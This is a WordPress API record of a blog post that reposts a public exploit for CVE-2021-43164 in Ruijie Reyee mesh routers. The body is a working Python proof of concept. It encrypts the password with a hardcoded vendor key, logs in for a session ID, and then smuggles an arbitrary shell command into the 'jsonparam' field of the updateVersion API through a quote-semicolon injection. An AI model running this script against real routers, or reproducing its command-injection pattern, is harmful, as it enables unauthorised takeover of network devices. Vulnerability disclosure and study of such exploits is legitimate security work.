{"id":24339,"date":"2022-05-11T23:18:57","date_gmt":"2022-05-11T19:18:57","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167099\/ruijiereyeemr-exec.txt"},"modified":"2022-05-15T09:39:37","modified_gmt":"2022-05-15T05:09:37","slug":"ruijie-reyee-mesh-router-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ruijie-reyee-mesh-router-remote-code-execution\/","title":{"rendered":"Ruijie Reyee Mesh Router Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Ruijie Reyee Mesh Router &#8211; Remote Code Execution (RCE) (Authenticated)<br \/>\n# Google Dork: None<br \/>\n# Date: November 1, 2021<br \/>\n# Exploit Author: Minh Khoa of VSEC<br \/>\n# Vendor Homepage: https:\/\/ruijienetworks.com<br \/>\n# Software Link: https:\/\/www.ruijienetworks.com\/resources\/products\/1896-1900<br \/>\n# Version: ReyeeOS 1.55.1915 &#8211; EW_3.0(1)B11P35 and EW_3.0(1)B11P55<br \/>\n# Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO<br \/>\n# CVE: CVE-2021-43164<\/p>\n<p dir=\"ltr\">#!\/usr\/bin\/python3<\/p>\n<p dir=\"ltr\">import os<br \/>\nimport sys<br \/>\nimport time<br \/>\nimport requests<br \/>\nimport json<\/p>\n<p dir=\"ltr\">def enc(PASS):<br \/>\nkey = &#8220;RjYkhwzx$2018!&#8221;<br \/>\nshell = &#8220;echo &#8216;{}&#8217; | openssl enc -aes-256-cbc -a -k &#8216;{}&#8217; -md md5 2&gt;\/dev\/null&#8221;.format(PASS, key)<br \/>\nreturn os.popen(shell).read().strip()<\/p>\n<p dir=\"ltr\">try:<br \/>\nTARGET = sys.argv[1]\nUSER = sys.argv[2]\nPASS = sys.argv[3]\nCOMMAND = sys.argv[4]\nexcept Exception:<br \/>\nprint(&#8220;CVE-2021-43164 PoC&#8221;)<br \/>\nprint(&#8220;Usage: python3 exploit.py &lt;target&gt; &lt;user&gt; &lt;pass&gt; &lt;command&gt;&#8221;)<br \/>\nprint(&#8220;Example: python3 exploit.py 192.168.110.1 admin password &#8216;touch \/tmp\/pwned'&#8221;)<br \/>\nsys.exit(1)<\/p>\n<p dir=\"ltr\">endpoint = &#8220;http:\/\/{}\/cgi-bin\/luci\/api\/auth&#8221;.format(TARGET)<br \/>\npayload = {<br \/>\n&#8220;method&#8221;: &#8220;login&#8221;,<br \/>\n&#8220;params&#8221;: {<br \/>\n&#8220;username&#8221;: USER,<br \/>\n&#8220;password&#8221;: enc(PASS),<br \/>\n&#8220;encry&#8221;: True,<br \/>\n&#8220;time&#8221;: int(time.time()),<br \/>\n&#8220;limit&#8221;: False<br \/>\n}<br \/>\n}<\/p>\n<p dir=\"ltr\">r = requests.post(endpoint, json=payload)<br \/>\nsid = json.loads(r.text)[&#8220;data&#8221;][&#8220;sid&#8221;]\n<p dir=\"ltr\">endpoint = &#8220;http:\/\/{}\/cgi-bin\/luci\/api\/wireless?auth={}&#8221;.format(TARGET, sid)<br \/>\npayload = {<br \/>\n&#8220;method&#8221;: &#8220;updateVersion&#8221;,<br \/>\n&#8220;params&#8221;: {<br \/>\n&#8220;jsonparam&#8221;: &#8220;&#8216;; {} #&#8221;.format(COMMAND)<br \/>\n}<br \/>\n}<\/p>\n<p dir=\"ltr\">r = requests.post(endpoint, json=payload)<br \/>\nprint(r.text)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Ruijie Reyee Mesh Router &#8211; Remote Code Execution (RCE) (Authenticated) # Google Dork: None # Date: November 1, 2021 # Exploit Author: Minh Khoa of VSEC # Vendor Homepage: https:\/\/ruijienetworks.com # Software Link: https:\/\/www.ruijienetworks.com\/resources\/products\/1896-1900 # Version: ReyeeOS 1.55.1915 &#8211; EW_3.0(1)B11P35 and EW_3.0(1)B11P55 # Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO # CVE: &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-24339","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/24339","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=24339"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/24339\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=24339"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=24339"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=24339"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}